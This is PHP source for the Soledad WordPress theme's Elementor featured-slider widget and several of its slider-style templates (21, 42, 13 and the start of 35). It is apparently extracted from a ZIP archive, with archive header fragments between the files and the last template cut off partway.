			'condition' => [ 'shownav!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'shownav!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'shownav!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_sizes', array(
			'label'     => __( 'Button Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'condition' => [ 'shownav!' => '' ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; width: auto;height: auto;line-height: normal;margin-top:0;transform:translateY(-50%);' ),
		) );

		$this->add_control( 'dots_nxpv_isizes', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => [ 'shownav!' => '' ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev i, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next i, {{WRAPPER}} .slider-40-wrapper .nav-slider-button i' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_nxpv_bdradius', array(
			'label'     => __( 'Button Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'condition' => [ 'shownav!' => '' ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->end_controls_section();

		$this->register_penci_bookmark_style_groups();

		$this->register_paywall_premium_heading_style_groups();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings();

		$original_postype = $settings['posts_post_type'];
		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		$query_args = Module::get_query_args( 'posts', $settings );

		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$query_args['posts_per_page'] = $ppp;
			}

			if ( $settings['arposts_new'] == 'yes' ) {
				$query_args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$query_args['offset'] = $offset;
			}
		}

		$feat_query = new \WP_Query( $query_args );

		if ( ! $feat_query->have_posts() ) {
			echo self::show_missing_settings( 'Featured Slider', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
		}

		$slider_style = $settings['style'] ? $settings['style'] : 'style-1';

		$slider_class = $this->get_class_slider( $settings );

		$disable_lazyload    = $settings['disable_lazyload_slider'];
		$slider_title_length = $settings['title_length'] ? $settings['title_length'] : 12;
		$center_box          = $settings['center_box'];
		$meta_date_hide      = $settings['meta_date_hide'];
		$show_viewscount     = $settings['show_viewscount'];
		$hide_categories     = $settings['hide_categories'];
		$show_cat            = $settings['show_cat'];
		$hide_meta_comment   = $settings['hide_meta_comment'];
		$show_meta_author    = $settings['show_meta_author'];
		$hide_meta_excerpt   = $settings['hide_meta_excerpt'];
		$hide_format_icons   = $settings['hide_format_icons'];

		$post_thumb_size        = $settings['post_thumb_size'];
		$bpost_thumb_size       = $settings['bpost_thumb_size'];
		$post_thumb_size_mobile = $settings['post_thumb_size_mobile'];
		$cs_vertical_align      = $settings['cs_vertical_align'] && $settings['cs_vertical_align'] ? ' vertical-align-' . $settings['cs_vertical_align'] : '';
		$cs_horizontal_align    = $settings['cs_horizontal_align'] && $settings['cs_horizontal_align'] ? ' horizontal-align-' . $settings['cs_horizontal_align'] : '';
		$cs_text_align          = $settings['cs_text_align'] && $settings['cs_text_align'] ? ' text-align-' . $settings['cs_text_align'] : '';
		$wrapper_css            = isset( $settings['paywall_heading_text_style'] ) ? ' pencipw-hd-' . $settings['paywall_heading_text_style'] : '';

		$slider_lib = 'penci-owl-featured-area';

		$slider_lib .= ' elsl-' . $slider_style;

		$swiper = true;

		if ( $slider_style == 'style-40' ) {
			wp_enqueue_script( 'ff40' );
			wp_enqueue_script( 'gsap' );
			$slider_lib .= ' no-df-swiper';
			$swiper     = false;
		}

		if ( $slider_style == 'style-41' || $slider_style == 'style-42' || $slider_style == 'style-44' ) {
			$slider_lib .= ' no-df-swiper';
			$swiper     = false;
		}

		if ( $swiper ) {
			$slider_lib .= ' swiper penci-owl-carousel';
		}


		echo '<div class="penci-block-el featured-area featured-' . $slider_class . $cs_vertical_align . $cs_horizontal_align . $cs_text_align . $wrapper_css . '">';
		if ( $slider_style == 'style-37' ):
			echo '<div class="penci-featured-items-left">';
		endif;
		echo '<div class="' . $slider_lib . ' pcfg-slide-' . $this->get_id() . ' elsl-' . $slider_class . '"' . $this->get_slider_data( $settings ) . '>';
		if ( $swiper ) {
			if ( $settings['shownav'] ) {
				echo '<div class="penci-owl-nav"><div class="owl-prev"><i class="penciicon-left-chevron"></i></div><div class="owl-next"><i class="penciicon-right-chevron"></i></div></div>';
			}
			echo '<div class="swiper-wrapper">';
		}
		include dirname( __FILE__ ) . "/{$slider_style}.php";
		if ( $swiper && $slider_style != 'style-37' ) {
			echo '</div>';
		}
		echo '</div>';
		echo '</div>';
	}

	public static function show_missing_settings( $label, $mess ) {
		$output = '';
		if ( is_user_logged_in() ) {
			$output .= '<div class="penci-missing-settings">';
			$output .= '<span>' . $label . '</span>';
			$output .= $mess;
			$output .= '</div>';
		}

		return $output;
	}

	public function get_class_slider( $settings ) {
		$slider_style = $settings['style'] ? $settings['style'] : 'style-1';

		$slider_class = $slider_style;
		if ( $slider_style == 'style-5' ) {
			$slider_class = 'style-4 style-5';
		} elseif ( $slider_style == 'style-30' ) {
			$slider_class = 'style-29 style-30';
		} elseif ( $slider_style == 'style-36' ) {
			$slider_class = 'style-35 style-36';
		}

		if ( $settings['enable_flat_overlay'] && in_array( $slider_style, array(
				'style-6',
				'style-7',
				'style-8',
				'style-9',
				'style-10',
				'style-11',
				'style-12',
				'style-13',
				'style-14',
				'style-15',
				'style-16',
				'style-17',
				'style-18',
				'style-19',
				'style-20',
				'style-21',
				'style-22',
				'style-23',
				'style-24',
				'style-25',
				'style-26',
				'style-27',
				'style-28'
			) ) ) {
			$slider_class .= ' penci-flat-overlay';
		}

		return $slider_class;
	}

	public function get_slider_data( $settings ) {
		$slider_style = $settings['style'] ? $settings['style'] : 'style-1';

		$output = '';

		if ( $slider_style == 'style-7' || $slider_style == 'style-8' ) {
			$output .= ' data-item="4" data-desktop="4" data-tablet="2" data-tabsmall="1"';
		} elseif ( $slider_style == 'style-9' || $slider_style == 'style-10' ) {
			$output .= ' data-item="3" data-desktop="3" data-tablet="2" data-tabsmall="1"';
		} elseif ( $slider_style == 'style-11' || $slider_style == 'style-12' ) {
			$output .= ' data-item="2" data-desktop="2" data-tablet="2" data-tabsmall="1"';
		}

		$data_next_prev = 'yes' == $settings['shownav'] ? 'true' : 'false';
		$data_dots      = 'yes' == $settings['showdots'] ? 'true' : 'false';
		$output         .= ' data-dots="' . $data_dots . '" data-nav="' . $data_next_prev . '"';

		$output .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';
		$output .= ' data-seffect="' . $settings['single_slider_effect'] . '"';
		$output .= ' data-style="' . $slider_style . '"';
		$output .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
		$output .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
		$output .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
		$output .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
		$output .= $settings['slidespg'] ? ' data-slidespg="' . $settings['slidespg'] . '"' : '';
		$output .= $settings['slideTo'] ? ' data-slideTo="' . $settings['slideTo'] . '"' : '';

		return $output;
	}
}
PK     1w\5D    =  elementor/modules/penci-featured-sliders/widgets/style-21.phpnu [        <?php
/**
 * Template part for Slider Style 21
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 5 == 4 || $i % 5 == 0 ): $thumb = $bpost_thumb_size; endif;

				$sizep = 'small';
				if ( $i % 5 == 4 || $i % 5 == 0 ): $sizep = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( ( $i % 5 == 4 || $i % 5 == 0 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 4 || $i % 5 == 0 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\ʧB'    =  elementor/modules/penci-featured-sliders/widgets/style-42.phpnu [        <?php
/**
 * Template part for Slider Style 42
 */
$image_size          = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
?>
<div class="penci-slider42-wrapper">
    <div class="penci-slider42-thumb-wrapper">
        <div class="penci-slider42-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="4"
             data-desktop="4" data-tablet="3" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false" data-e="false" data-auto="false">
            <div class="penci-slider42-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                    <div class="penci-slider42-t-item">

                       
                        <div class="pcslider-42-ct">
                        <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                        </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider42-main-wrapper">
        <div class="penci-slider42-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider42-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! $center_box ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     1w\	6    =  elementor/modules/penci-featured-sliders/widgets/style-13.phpnu [        <?php
/**
 * Template part for Slider Style 13
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 3 == 1 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 3 == 1 ): $sizep = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 1 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\aiz  z  =  elementor/modules/penci-featured-sliders/widgets/style-35.phpnu [        <?php
/**
 * Template part for Slider Style 35
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content-right">
                    <div class="feat-text-right">
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                               href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
